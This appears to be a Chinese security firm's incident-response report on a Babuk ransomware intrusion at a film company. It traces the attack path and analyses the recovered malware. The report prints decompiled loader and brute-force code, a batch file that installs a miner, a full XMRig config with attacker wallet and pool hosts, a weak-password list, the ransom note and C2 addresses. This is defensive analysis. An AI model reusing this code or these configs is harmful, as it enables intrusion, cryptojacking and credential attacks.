1.背景
2024年4月11日,某影视公司的服务器遭受了勒索软件攻击,随后向我司寻求帮助进行恢复。经过我司溯源排查,勒索组织通过一处用友NC资产进行入侵,攻击者利用国产工具横移了数小时后实施勒索。其中一台超融合(vcenter)成了攻击者重要跳板,但也因为这台重要跳板的“端点挂全部挂”的特性,勒索攻击得到了有效地“自动”遏制,最后排查得出30多台服务器被勒索,重要系统被锁定无法使用,溯源过程中还发现了多个挖矿木马,目前尚不清楚该挖矿木马是否与此次勒索病毒组织有关联,但这也揭示了客户网络安全防护的薄弱之处。
经分析,确认该病毒家族为Babuk,加密之后的文件后缀为.babyk。我司解密专家通过多种数据恢复手段成功将加密文件全部恢复,经负责人确认恢复文件内容无误。
在2024年4月11日至2024年4月20日期间,我司组织了6人次的应急响应团队,为客户受害服务器提供数据备份、溯源分析、漏洞修复、网络排查、渗透测试、安全加固等多项工作。同时,公司网络安全实验室的多位安全专家参与了病毒的逆向分析、日志溯源分析和数据恢复工作,运维专家根据目前现场运维环境及网络架构提出了针对性的安全建设意见。整体圆满完成各项任务,达到客户要求指标。
2.溯源分析
2.1 受灾情况统计
2024年4月12日,Solar应急响应团队到达该集团现场,对受灾服务器进行断网并排查,最终排查情况如下:
被加密服务器数量 | 33台 |
---|---|
被加密文件总数 | 287938个 |
被加密数据大小 | 12.45TB |
后门木马 | 62个 |
黑客利用工具 | 7个 |
数据恢复时长 | 1天 |
数据恢复率 | 99% |
统计出的被加密服务器情况:
顺序 | IP | 服务器名称 | 加密时间 | 文件总数 | 加密文件总数 |
---|---|---|---|---|---|
1 | 192.168.0.1 | 1 | 2024.04.07 | 165604 | 14938 |
2 | 192.168.0.2 | 2 | 2024.04.07 | 3415114 | 32435 |
3 | 192.168.0.3 | 3 | 2024.04.07 | 1723965 | 57963 |
...省略数行 |
表中数据已脱敏,仅作示例参考
2.2 最初攻击时间
1.在2024-04-06 21:21:58攻击者(104.234.240.225)探测到一处用友NC6.5资产存在saveXmlToFileServlet任意文件上传漏洞,利用该漏洞成功突破边界拿到了第一个shell。后续用友官方人员利用工具确认了此漏洞存在。
图1 用友自测工具扫描结果图
图2 中间件日志
木马存在一定的混淆特征,将常规的\u给混了,用替换将不合规的全换回来就能看见明文。明文下的webshell也不难理解,参数zxc,传入A83In中,构造ProcessBuilder对象,调用cmd /C 执行A83In,中间符号并无意义。
图3 混淆的jsp木马
图4 解开混淆后的明文
2.3 其他工具利用
2.在2024.04.06-22:37攻击者就上传了s6.exe,经过确认是内防渗透工具fscan.exe。对内网进行扫描,命中了数台主机,其中就有那台“重要的跳板机”vcenter(超融合)。
fscan.exe:一款内网综合扫描工具,该工具支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。
s6.exe通过命令可进行查看版本信息,为V1.8.3,对比github上的fscan发现hash一致未做编译操作。
SHA1:5a341a41bb909bf577465491420e3fce6001c5cf
版本:V1.8.3
工具链接:https://github.com/shadow1ng/fscan/releases
图5 fscan落地
图6 fscan扫描结果
2.4 日志排查
3.攻击者于2024/4/7 01:32:09使用vck.exe(VcenterKiller利用工具)对vcenter平台进行攻击,分别使用了CVE-2021-21972和CVE-2021-21985。
VcenterKiller:一款针对Vcenter的综合验证工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005,提供一键上传webshell,命令执行或者上传公钥并使用SSH连接的功能,以及针对Apache Log4j CVE-2021-44228漏洞在Vcenter上的检测以及利用。
vck.exe通过命令可进行查看版本信息,为V1.3.6,对比github上的VcenterKiller发现hash一致未做编译操作。SHA1:804858fc2546fc9cd60eb075082b118ffaeb18a8
版本:V1.3.6
工具链接:https://github.com/Schira4396/VcenterKiller/releases/tag/v1.3.7
图7 首次开始攻击vcenter平台
4.攻击者在2024/4/7 02:27成功对vcenter上传shell,并在2024/4/7 02:28:53访问webshell进行操作。攻击期间攻击者于2024/4/7 1:46上传了另一个木马,里面有一个IP185.196.11.210,在日志里并没有成功触发。
图8 vcenter上webshell落地时间
图9 访问webshell开始进行攻击
图10 offline_bundle木马
5.在2024/4/7 3:06,攻击者翻到了vcenter的凭证,因此在2024/4/7 3:57:05登陆了vcenter平台直接对其他主机的攻击。此刻的攻击者还没意识到“问题”所在。
图11 打包凭证xxs.zip
图12 成功登陆vcenter平台
6.攻击者利用vcenter平台于2024/04/07 4:29:3登陆第六台服务器和第七台服务器,在上面直接对服务器进行攻击操作。
图13 成功登陆第六台服务器
图14 成功登陆第七台服务器
7.在2024/04/07 4:35:48,攻击者在第七台服务器上使用rdp连接第五台服务器,并发现该数据主机的rdp密码。
图15 利用rdp登陆第五台服务器
图16 第七台服务器上记录了第五台服务器的密码
8.后续我们通过恢复手段发现,攻击者在2024/04/07 04:46左右返回了vcenter利用上面获得的密码登陆第五台服务器,并做了frp代理(工具已删除)。
图17 攻击者利用vcenter登陆第五台服务器
图18 frp执行证明贴图
9.攻击者在第五台服务器上翻找,打开了运维常用的secureCRT,里面恰好记录两台主机的密码,这样第五台服务器成为了下一个跳板。
图19 SecureCRT登陆缓存
10.由于加密的工具均被删除,利用everything可以得知加密开始时间为2024.04.07 05:09。
图20 加密开始时间
11.攻击者在于2024.04.07 06:34:50将操作日志全部清除。但是攻击者想不到的是,加密完一部分主机后,其他横不过去了宕掉了。原因在于,这款超融合的特性,只要下面的节点(端点)挂掉,其他的就不能登上去了,而vcenter在超融合里自然就过不去了,勒索攻击至此被“自动”遏制了。
图21 日志被清除
12.攻击者104.234.240.225属于加拿大 多伦多,同段多为代理和木马主机。
图22 攻击者IP溯源
13.对用友NC6.5系统进行渗透测试,同时厂家用友对该系统进行全面扫描,发现确实存在文件上传漏洞,与上述吻合。
图23 我方人员渗透测试贴图
图24 厂家用友扫描贴图
2.5 后门排查
图1 黑客使用的工具
图2 黑客上传的木马
图3 黑客地址
██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██╗██╗██╗
██╔═══██╗██╔═══██╗██╔══██╗██╔════╝ ██╔══██╗██╔════╝██║ ██╔══██╗╚██╗██╔╝ ██║██║██║
██║ ██║██║ ██║██████╔╝███████╗ ██████╔╝█████╗ ██║ ███████║ ╚███╔╝ ██║██║██║
██║ ██║██║ ██║██╔═══╝ ╚════██║ ██╔══██╗██╔══╝ ██║ ██╔══██║ ██╔██╗ ╚═╝╚═╝╚═╝
╚██████╔╝╚██████╔╝██║ ███████║ ██║ ██║███████╗███████╗██║ ██║██╔╝ ██╗ ██╗██╗██╗
╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝╚═╝
What happened?
---------------------------------------------------------------
Your computers and servers have been encrypted, which is fundamentally different from normal file damages.
And you can save yourself the trouble of going to the internet to find a way to decrypt them, because unless you pay the ransom.
Even if God comes, he will not be able to help you recover them!
What guarantees?
---------------------------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
You can contact us to test an unimportant encrypted file and we will decrypt it to prove that we have the ability to decrypt them.
How to canotact us?A
---------------------------------------------------------------
Your encryption ID:7gui):
You can contact us at the email address below:
ijtg5gr@keemail.me
ag55htr@keemail.me
How to Pay?
---------------------------------------------------------------
Please pay $20000 worth of bitcoins(BTC) to the address below:
bc1qz23mpc3qdy02jzw64xw9zhe4s275un40efsd2l
We will send you the decryption program after we confirm your payment.
---------------------------------------------------------------
*****WARNING: You have up to 7 days to consider whether or not to make a payment,
so hurry or you may lose your files and data forever,
And, we will make all your data available to the Internet.
图4 勒索信内容
图5 加密后缀
2.6 详细攻击路径
2024年3月24日,根据对日志的调研分析,安全专家已梳理出入侵路线如下(已脱敏):
攻击者在2024/04/07针对集团主机实施勒索攻击,在2024/04/06通过对用友NC6.5系统漏洞进行利用成功获取webshelll,随后对内网进行扫描获取vcenter平台的登陆权限。攻击者在2024/04/07通过vcenter平台登陆其中一台受害主机拿到第五台服务器的RDP密码,之后在第五台服务器主机的运维工具上获得其他受害主机的密码。最后攻击者在2024/04/07 5:09实施勒索攻击。期间攻击者利用IP185.196.11.210、104.234.240.225均被判定为恶意IP,由于攻击者将windows日志和其他重要日志清除,无法捕获加密器。
3.恶意文件分析
溯源过程中我们提取到了加密器并且还提取到了疑似黑客留下的其他攻击工具、挖矿木马,下文一一进行了列举分析,因受篇幅影响,针对加密器的分析会在下篇文章进行推送。
3.1 gykauy.exe文件信息
大小 | gykauy.exe(221277 bytes) |
---|---|
操作系统 | Windows |
架构 | i386 |
类型 | exe |
字节序 | Little Endian |
SHA256 | 2f10ce62e3fcf5c0b2db110211503bc0b857226b65e826300d14af0c040dd7d8 |
大小 | gykauy.exe(221277 bytes) |
操作系统 | Windows |
架构 | i386 |
3.1.1 混淆去除
两种混淆模式:
1.利用异常,抛出异常后接收,干扰控制流分析。
2.类似vmp的垃圾指令,执行但不影响程序环境.这张图中,混淆指令从0x401189开始,到达0x4011f1结束。
ida的解析:
3.1.2 第一层外壳文件逆向分析
以下分许全部基于去除混淆之后的idb文件。
3.1.2.1 主函数
简单地输出调试信息,再检测命令行是否为字符串”Win7”.然后跳入对应的函数,这些函数的区别在第二层壳中显示出。
解密pe文件,并加载,后跳至导出表的不同函数。
3.1.2.2 解密函数
简单的异或加密,中间加了Sleep对抗沙箱.
3.1.2.3 加载pe文件
常规加载方式,分配内存,解析重定位,填充iat,恢复页面属性,调用入口函数.
加载主函数:
int *__cdecl load_pe(_DWORD *a1)
{
int *result; // eax
char *v2; // edi
int *v3; // esi
HANDLE ProcessHeap; // eax
int *v5; // ebx
char *v6; // eax
char *v7; // eax
int *v8; // ecx
int v9; // eax
int *v10; // eax
int *v11; // [esp+10h] [ebp-4h]
if ( *(_WORD *)a1 != 'ZM' )
return 0;
v2 = (char *)a1 + a1[15];
if ( *(_DWORD *)v2 != 'EP' )
return 0;
v3 = (int *)VirtualAlloc(*((LPVOID *)v2 + 13), *((_DWORD *)v2 + 20), 0x2000u, 4u);
v11 = v3;
if ( !v3 )
{
result = (int *)VirtualAlloc(0, *((_DWORD *)v2 + 20), 0x2000u, 4u);
v11 = result;
if ( !result )
return result;
v3 = result;
}
ProcessHeap = GetProcessHeap();
v5 = (int *)HeapAlloc(ProcessHeap, 0, 0x14u);
v5[1] = (int)v3;
v5[3] = 0;
v5[2] = 0;
v5[4] = 0;
VirtualAlloc(v3, *((_DWORD *)v2 + 20), 0x1000u, 4u);
v6 = (char *)VirtualAlloc(v3, *((_DWORD *)v2 + 21), 0x1000u, 4u);
qmemcpy(v6, a1, *((_DWORD *)v2 + 21) + a1[15]);
v7 = &v6[a1[15]];
*v5 = (int)v7;
*((_DWORD *)v7 + 13) = v11;
alloc_segs((int)a1, (int)v2, v5);
v8 = (int *)*((_DWORD *)v2 + 13);
if ( v11 != v8 )
process_relocs(v5, (char *)v11 - (char *)v8);
if ( !fill_iat(v5) )
goto LABEL_14;
protect_memory(v5);
v9 = *(_DWORD *)(*v5 + 40);
if ( v9 )
{
v10 = (int *)((char *)v11 + v9);
if ( !v10 || !((int (__stdcall *)(int *, int, _DWORD))v10)(v11, 1, 0) )// 调用脱壳后dll的dllentrypoint
{
LABEL_14:
free_all(v5);
return 0;
}
v5[4] = 1;
}
return v5;
}
3.1.3 第二层壳(dll)分析
大小 | Space.dll(175104 bytes) |
---|---|
操作系统 | Windows |
架构 | i386 |
类型 | dll |
字节序 | Little Endian |
SHA256 | 06ade8d134978874bbd191717433041dd743a18fe6524a72ab0afc3107940e79 |
导出表:Loginfo是上文命令行传win7时候调用的.FE就是不含win7的时候调用。
3.1.3.1 dll逆向分析
以下内容基于FE函数的分析,即命令行不含有win7.loginfo和fe的区别在于win7缺少自删除,添加服务,自我复制。
3.1.3.2 初始化
dll的入口点,初始化一些字符串和控制参数,来源是原程序导出表中的space函数点,初始化一些字符串和控制参数,来源是原程序导出表中的space函数。
部分字符串如图所示,其余的都是一些无用字符串,是互斥量名,服务名之类.
加密的恶意地址:
端口0x760e;
一些控制变量;
3.1.3.3 主循环函数
Main_loop_func:
打开服务注册表:
创建服务,自我复制到随机文件名;
设置服务失败操作,自动重启。
使用vbs实现自删除。
创建服务,设置服务程序。
以用户模式创建进程。
综上,服务操作为,创建服务,以用户身份创建新进程运行恶意程序的网络操作。
自我复制
3.1.3.4 网络操作
这些网络操作由于实际没有开启控制变量,所以暂时不会运行。
解密网络地址:
解密函数:
初始化互斥量,加载socket库:
连接恶意服务器,使用tcp协议:
创建下载线程:
下载后解压,使用zlib 1.2.5:
前面是库函数代码,红圈这里调用程序自己的组件。
获取系统信息,主频,内存大小,时间等等。
zlib压缩发送到恶意服务器。
程序组件中有一些键盘,音视频,url下载之类的,应该是功能组件,但是这里没有运行,没有下载内容,参数未知,所以无法分析。
3.1.3.5小结
本恶意程序运行后,解密pe文件,该pe文件获取系统信息,连接恶意地址,压缩并发送系统信息,同时下载内容,解压后获得一些信息,使用这些信息运行木马组件。
恶意地址 : vig.nishabig.pro:30222
3.2 1110.exe文件信息
文件名 | 1110.exe |
---|---|
大小 | 5693307(5.43 MiB) |
操作系统 | Windows(XP) |
架构 | I386 |
模式 | 32位 |
类型 | GUI |
字节序 | LE |
MD5 | dbe2a40d35e0aeca8107ce6e533f4b5a |
SHA256 | 399c78458edbe427dc7a66c123b8503a2ccc6b8cc4b80502774315305cb9bac6 |
3.2.1 恶意行为分析
文件为自解压程序,在程序的附加节中可以得到压缩数据,且压缩数据格式为RAR。
解压可得到以下内容,自解压程序会解压程序到目录C:/IDE/Microsoft/5/
其中3.bat
C:/IDE/Microsoft/5/nssm.exe install javf C:/IDE/Microsoft/5/javasgs.exe
C:/windows/system32/net start javf
del C:/IDE/Microsoft/5/3.bat
config.json
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": -1,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"max-threads-hint": 70,
"max-cpu-usage": 70,
"asm": true,
"argon2-impl": null,
"cn/0": false,
"cn-lite/0": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 0,
"donate-over-proxy": 0,
"log-file": null,
"pools": [
{
"algo": null,
"coin": null,
"url": "xmr.aaaaaaaa.cyou:1110",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"url": "aaaaaaaa.cyou:443",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"url": "asia.aaaaaaaa.cyou:1110",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"url": "us.aaaaaaaa.cyou:1110",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
},
{
"url": "eu.aaaaaaaa.cyou:1110",
"user": "45PX6QS4EhgRC1YbPNPRz8GmhyF7N4WVxQssZnhhc7xodKNNrQiEqxz9uQEMD6e8isjHVHt3Vk9Nqh5HMRgjVw4RC61FY5W",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"print-time": 60,
"health-print-time": 60,
"dmi": true,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"dns": {
"ipv6": false,
"ttl": 10
},
"user-agent": null,
"verbose": 0,
"watch": true
}
3.2.2 小结
运行自解压程序之后会解压在文件夹C:/IDE/Microsoft/5/下,并且启动3.bat完成挖矿程序的安装与运行。
3.3 dgbggrcn.exe文件信息
文件名 | dgbggrcn.exe |
---|---|
大小 | 6104064(5.82 MiB) |
操作系统 | Windows(XP) |
架构 | I386 |
模式 | 32位 |
类型 | GUI |
字节序 | LE |
MD5 | 5e291e4b7e16b673814e797c328e79dc |
SHA256 | f30498c8c98dd403d9304868e42096f8320bd14aaa4b10c3f01d5802ca5a9a13 |
文件名 | dsvvbfdcn.exe |
---|---|
大小 | 6104064(5.82 MiB) |
操作系统 | Windows(XP) |
架构 | I386 |
模式 | 32位 |
类型 | GUI |
字节序 | LE |
MD5 | 3a977a9bf985854d664b8d1ccf33d0f8 |
SHA256 | e4f87ed86f1c054b53389d12a86e724489f00040cc5f3b48ce89da09a596116a |
文件相似度
两个文件相似度很高,我们选取其中一个分析即可,接下来的分析均基于dgbggrcn.exe
.
3.3.1 威胁分析
程序首先会在当前环境中寻找TXnbib.dll
,若没有找到,则进入函数sub_3C1EB0
进行更进一步处理
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HMODULE ModuleHandleA; // [esp+0h] [ebp-18h]
void *Block; // [esp+4h] [ebp-14h]
CHAR ModuleName[12]; // [esp+8h] [ebp-10h] BYREF
strcpy(ModuleName, "TXnbib.dll");
ModuleHandleA = GetModuleHandleA(ModuleName);
if ( !ModuleHandleA )
{
Block = malloc(0x40000000u);
memset(Block, 65, 0x40000000u);
off_41B3B0(10);
j___free_base(Block);
sub_3C1EB0(0, (int)Block);
while ( 1 )
off_41B3B0(10000);
}
sub_3C1040(ModuleHandleA);
return 0;
}
查看函数sub_3C1EB0
此处会对数据进行恢复
int __cdecl sub_3C1EB0(int a1, int a2)
{
char *v2; // ecx
char *v3; // esi
int *v4; // eax
void (*v6)(void); // esi
v3 = v2;
sub_3C1E50(aMz, dword_3D47EC, dword_3D47F0);//解密
v4 = sub_3C1970(aMz);//在此处下断点
if ( !v4 )
return off_41B3B0(0);
v6 = (void (*)(void))sub_3C1C40(v4, v3);
off_41B3B0(0);
if ( v6 )
{
v6();
memset(aMz, 0, 0x46000u);
}
off_41B3B0(0);
return sub_3C1DD0(a1, a2);
}
dump下此处内存,即可得到TXnbib.dll
3.3.2 TXnbib.dll
去除TXnbib.dll
的附加节之后得到以下信息
文件名 | TXnbib.dll |
---|---|
大小 | 233472(228.00 KiB) |
操作系统 | Windows(XP) |
架构 | I386 |
模式 | 32位 |
类型 | DLL |
字节序 | LE |
MD5 | 13f0c0fe9a96c36863ae74c7f453b99d |
SHA256 | dccf9a931c0074a79ca31d46ad5f93e2f8e0eebd5d2f2b6d8fb9057088a2fced |
分析此dll的字符串
疑似比特地址
.data:1002CFA8 0000008E C -o stratum+tcp://cn.t1linux.com:34965 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p I
大量弱密码
.data:1002DF58 0000000B C 0123456789
.data:1002DF6C 00000008 C 0123456
.data:1002DF74 0000000A C password1
.data:1002DF80 00000007 C qaz123
.data:1002DF88 00000007 C qqqqqq
.data:1002DF90 00000007 C asdfgh
.data:1002DF98 00000007 C asd123
.data:1002DFA0 00000008 C zxcvbnm
.data:1002DFA8 00000007 C zxcvbn
.data:1002DFB0 00000007 C a1b2c3
.data:1002DFB8 00000007 C aaaaaa
.data:1002DFC4 00000007 C 123abc
.data:1002DFCC 00000007 C abc123
.data:1002DFD4 00000007 C qwerty
.data:1002DFDC 0000000B C qwertyuiop
.data:1002DFE8 0000000A C qazwsxedc
.data:1002DFF4 00000007 C qazwsx
.data:1002DFFC 00000008 C qwer123
.data:1002E004 00000009 C qwer1234
.data:1002E010 00000007 C qwe123
.data:1002E018 0000000A C 111222333
.data:1002E024 00000007 C 111222
.data:1002E02C 00000007 C 112233
.data:1002E034 0000000C C 11111111111
.data:1002E040 00000009 C 11111111
.data:1002E04C 00000007 C 111111
.data:1002E058 00000009 C 88888888
.data:1002E064 00000007 C 888888
.data:1002E074 00000009 C 66666666
.data:1002E080 00000007 C 666666
.data:1002E098 0000000A C 123456789
.data:1002E0A4 00000009 C 12345678
.data:1002E0BC 00000008 C 1234567
.data:1002E0C4 00000007 C 123123
.data:1002E0D4 00000007 C 123456
.data:1002E0DC 00000009 C pa$$word
.data:1002E0E8 00000009 C passw0rd
.data:1002E0F4 00000009 C Password
.data:1002E110 00000008 C a123456
.data:1002E118 00000009 C admin123
.data:1002E124 00000006 C guest
.data:1002E12C 00000007 C admin$
.data:1002E134 00000006 C admin
.data:1002E13C 00000009 C password
常见虚拟机与调试器判断
.data:1002DCD4 00000015 C ImmunityDebugger.exe
.data:1002DCEC 0000000B C windbg.exe
.data:1002DCF8 0000000C C x64_dbg.exe
.data:1002DD04 0000000C C OllyICE.exe
.data:1002DD10 0000000C C OllyDBG.EXE
.data:1002DD1C 0000000C C VBoxRes.dll
.data:1002DD28 0000000E C Sandboxie.exe
.data:1002DD38 0000000B C Anubis.exe
.data:1002DD44 0000000B C Cuckoo.exe
.data:1002DD50 0000000C C SbieSvc.exe
.data:1002DD5C 00000013 C sandboxierpcss.exe
.data:1002DD70 00000018 C sandboxiedcomlaunch.exe
.data:1002DD88 0000000C C SbieDrv.sys
.data:1002DD94 0000000C C vboxdrv.sys
.data:1002DDA0 00000017 C VBoxGuestAdditions.sys
.data:1002DDB8 0000000C C Vboxusb.sys
.data:1002DDC4 0000000F C Vboxusbmon.sys
.data:1002DDD4 0000000F C vboxnetadp.sys
.data:1002DDE4 00000011 C VirtualBox Guest
.data:1002DDF8 00000010 C Virtual Machine
.data:1002DE08 00000007 C VMware
.data:1002DE20 0000000D C VMware Tools
常见操作系统
.data:1002DE34 0000000B C Windows XP
.data:1002DE40 00000017 C Windows Server 2003 R2
.data:1002DE58 00000014 C Windows Server 2003
.data:1002DE6C 00000024 C Windows XP Professional x64 Edition
.data:1002DE90 00000014 C Windows Server 2008
.data:1002DEA4 0000000E C Windows Vista
.data:1002DEB4 00000017 C Windows Server 2008 R2
.data:1002DECC 0000000A C Windows 7
.data:1002DED8 00000014 C Windows Server 2012
.data:1002DEEC 0000000A C Windows 8
.data:1002DEF8 0000000B C Windows 10
.data:1002DF04 0000000C C Windows 8.1
虚拟机判断
int sub_10009510()
{
SC_HANDLE v0; // ebp
struct _ENUM_SERVICE_STATUSA *v2; // esi
DWORD v3; // ebx
PCSTR *p_lpDisplayName; // esi
DWORD ServicesReturned; // [esp+10h] [ebp-Ch] BYREF
DWORD ResumeHandle; // [esp+14h] [ebp-8h] BYREF
DWORD pcbBytesNeeded; // [esp+18h] [ebp-4h] BYREF
v0 = OpenSCManagerA(0, 0, 4u);
if ( !v0 )
return -1;
pcbBytesNeeded = 0;
ServicesReturned = 0;
ResumeHandle = 0;
v2 = (struct _ENUM_SERVICE_STATUSA *)LocalAlloc(0x40u, 0x10000u);
if ( !EnumServicesStatusA(v0, 0x30u, 3u, v2, 0x10000u, &pcbBytesNeeded, &ServicesReturned, &ResumeHandle) )
return -1;
v3 = 0;
if ( ServicesReturned )
{
p_lpDisplayName = (PCSTR *)&v2->lpDisplayName;
while ( !StrStrIA(*p_lpDisplayName, aVmwareTools)
&& !StrStrIA(*p_lpDisplayName, aVmware_0)
&& !StrStrIA(*p_lpDisplayName, aVirtualMachine)
&& !StrStrIA(*p_lpDisplayName, aVirtualboxGues) )
{
++v3;
p_lpDisplayName += 9;
if ( v3 >= ServicesReturned )
goto LABEL_12;
}
return 1;
}
else
{
LABEL_12:
CloseServiceHandle(v0);
return 0;
}
}
检查开放的端口,并尝试使用暴力枚举弱密码破解来获取对系统的访问权限。
int sub_100097E0()
{
int result; // eax
struct hostent *v1; // ecx
int v2; // eax
const void **v3; // eax
const void *v4; // esi
unsigned int h_length; // eax
int v6; // edx
int *v7; // ebx
int v8; // ebp
char *v9; // esi
int *v10; // edi
int v11; // eax
int v12; // [esp+Ch] [ebp-258h]
int j; // [esp+10h] [ebp-254h]
int i; // [esp+14h] [ebp-250h]
struct hostent *v15; // [esp+18h] [ebp-24Ch]
int v16; // [esp+1Ch] [ebp-248h]
int v17; // [esp+20h] [ebp-244h]
int v18[3]; // [esp+28h] [ebp-23Ch] BYREF
int v19[6]; // [esp+34h] [ebp-230h] BYREF
int v20[70]; // [esp+4Ch] [ebp-218h] BYREF
char Buffer[128]; // [esp+164h] [ebp-100h] BYREF
char name[125]; // [esp+1E4h] [ebp-80h] BYREF
__int16 v23; // [esp+261h] [ebp-3h]
char v24; // [esp+263h] [ebp-1h]
v19[0] = (int)aAdministrator;
...省略
v20[66] = (int)aRoot;
v20[67] = (int)aServer;
v20[68] = (int)aComputer;
v20[69] = 0;
result = sub_100097A0();
if ( result )
{
memset(name, 0, sizeof(name));
v23 = 0;
v24 = 0;
if ( !gethostname(name, 128) )
{
v1 = gethostbyname(name);
v15 = v1;
if ( v1 )
{
v2 = 0;
for ( i = 0; ; i += 4 )
{
v3 = (const void **)((char *)v1->h_addr_list + v2);
if ( !*v3 )
break;
v4 = *v3;
h_length = v1->h_length;
memset(v18, 0, sizeof(v18));
v12 = 0;
qmemcpy(v18, v4, h_length);
memset(Buffer, 0, sizeof(Buffer));
v16 = BYTE1(v18[0]);
v17 = LOBYTE(v18[0]);
do
{
v6 = 0;
for ( j = 0; j <= 255; ++j )
{
memset(Buffer, 0, sizeof(Buffer));
sprintf(Buffer, "%d.%d.%d.%d", v17, v16, v12, v6);
if ( aAdministrator )
{
v7 = v19;
while ( !asc_1002CA9C )
{
LABEL_14:
v11 = v7[1];
++v7;
if ( !v11 )
goto LABEL_15;
}
v8 = *v7;
v9 = asc_1002CA9C;
v10 = v20;
while ( 1 )
{
Sleep(5u);
if ( sub_10009C90(Buffer, v8, v9) )
break;
v9 = (char *)v10[1];
++v10;
if ( !v9 )
goto LABEL_14;
}
}
LABEL_15:
v6 = j + 1;
}
++v12;
}
while ( v12 <= 255 );
v1 = v15;
v2 = i + 4;
}
}
}
WSACleanup();
return 1;
}
return result;
}
3.3.3 恶意行为
此DLL会访问 216.105.98.122:3666 (mon.nishabig.pro),根据威胁情报
释放文件1HI.exe
文件名 | 1HI.exe |
---|---|
大小 | 1341952(1.28 MiB) |
操作系统 | Windows(Vista) |
架构 | AMD64 |
模式 | 64 位 |
类型 | 控制台 |
字节序 | LE |
MD5 | 3385ee53b1cae650bb2d8dd0895f15e4 |
SHA256 | 026a44b6910001ad3700f3c164cbbf5df3a6701d091f83684cb650106ddcd58e |
3.3.4 1HI.exe
以下日志被程序删除
在其中找到了字符串
https://xmrig.com/docs/algorithms
猜测此程序为挖矿程序
3.3.5 小结
dgbggrcn.exe
首先判断环境中是否TXnbib.dll
,若存在,则直接调用TXnbib.dll
导出表中的恶意函数,若环境中不存在,则在自己的程序内部解密出TXnbib.dll
后运行其中的恶意函数
在TXnbib.dll
会对电脑的环境进行检查,若电脑处于调试环境或者虚拟机环境中则不运行恶意行为,同时此程序会扫描电脑开放的端口,并使用常见的弱密码尝试获得权限
TXnbib.dll
会请求 216.105.98.122:3666 (mon.nishabig.pro),具体作用未知
TXnbib.dll
会释放1HI.exe
,在1HI.exe
会删除系统相关的日志文件,并在其中找到了矿池的相关链接,猜测为挖矿程序
3.4 admin.exe文件信息
3.4.1 程序一
文件名 | admin.exe |
---|---|
操作系统 | Windows |
大小 | 脱壳前 2189824 bytes 脱壳后 6361088 bytes |
架构 | amd64 |
类型 | exe |
字节序 | Little Endian |
SHA256 | 2f10ce62e3fcf5c0b2db110211503bc0b857226b65e826300d14af0c040dd7d8 |
脱壳后SHA256 | b2ec051d1886f1476b0575e3e02f1d0f3eb9bd7c7bab10a89212901674d4e6c9 |
3.4.2 程序二
文件名 | WinRing0x64.sys |
---|---|
操作系统 | Windows |
大小 | 14544 bytes |
架构 | amd64 |
类型 | sys |
字节序 | Little Endian |
SHA256 | 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5 |
3.4.3 程序三
文件名 | Config.json |
---|---|
